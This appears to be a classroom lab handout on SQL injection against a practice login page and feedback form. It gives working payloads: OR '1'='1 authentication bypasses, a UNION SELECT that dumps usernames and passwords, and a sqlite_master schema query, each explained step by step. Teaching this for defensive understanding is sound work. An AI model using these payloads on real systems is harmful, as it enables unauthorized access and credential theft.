Think of a website's login form as a security guard checking ID cards. SQL injection is like tricking the guard by showing a fake ID that makes them think "well, this could be anyone, so I'll let them in!" Make sure you have completed the lesson on hacksplaining before trying the below activities.
Try this:
Username: ' OR '1'='1
Password: ' OR '1'='1
What's happening behind the scenes:
First query:
SELECT * FROM users WHERE username = '{username}' BECOMES
SELECT * FROM users WHERE username = '' OR '1'='1'
Second query:
SELECT * FROM users WHERE password = '{password}' BECOMES
SELECT * FROM users WHERE password = '' OR '1'='1'
Why it works:
'' is an empty username/password (which would normally fail)
OR '1'='1' adds "or if 1 equals 1" to the check
Since 1 always equals 1, both WHERE clauses become true
This tricks both queries into finding a valid user
Need to put it in both fields because our code checks username and password separately
Try this:
Username: admin (or any valid username)
Password: ' OR '1'='1
What's happening:
First query (checks username):
SELECT * FROM users WHERE username = '{username}' BECOMES
SELECT * FROM users WHERE username = 'admin'
(this passes normally because 'admin' exists)
Second query (checks password):
SELECT * FROM users WHERE password = '{password}' BECOMES
SELECT * FROM users WHERE password = '' OR '1'='1'
(this passes because of our injection)
Why it works:
First query runs normally - just checks if 'admin' exists as a username
Since 'admin' is a real username, first check passes
Second query gets injected with our OR condition
This turns the password check into "is the password empty OR is 1 equal to 1?"
Since 1=1 is always true, we get in!
This is more subtle than the first attack as it uses a real username
Try this in the feedback form:
') UNION SELECT username || ':' || password FROM users --
What's happening:
Original query:
INSERT INTO feedback (feedback) VALUES ('user input')
What your injection creates:
INSERT INTO feedback (feedback) VALUES ('') UNION SELECT username || ':' || password FROM users --')
Why it works:
') closes the original VALUES clause
UNION SELECT lets us append data from another query
username || ':' || password concatenates the username and password with a colon
FROM users targets the users table
-- comments out the rest of the query
Try this in the feedback form:
') UNION SELECT name || ': ' || sql FROM sqlite_master WHERE type='table' --
What's happening:
Original query:
INSERT INTO feedback (feedback) VALUES ('user input')
Creates this query:
INSERT INTO feedback (feedback) VALUES ('') UNION SELECT name || ': ' || sql FROM sqlite_master WHERE type='table' --')
Why it works:
sqlite_master is a special table in SQLite that stores database structure
This shows all table names and their creation SQL
Reveals what other tables and columns exist in the database
Helps plan further targeted attacks
Login Attacks:
You get redirected to the success.html page
You can see other users' feedback
The welcome message appears
Feedback Attacks:
Your injection appears in the feedback section
You see data that shouldn't normally be visible
You see database structure information
You stay on the login page
No error messages appear (failed attempts are silent)
Feedback shows your literal input rather than database data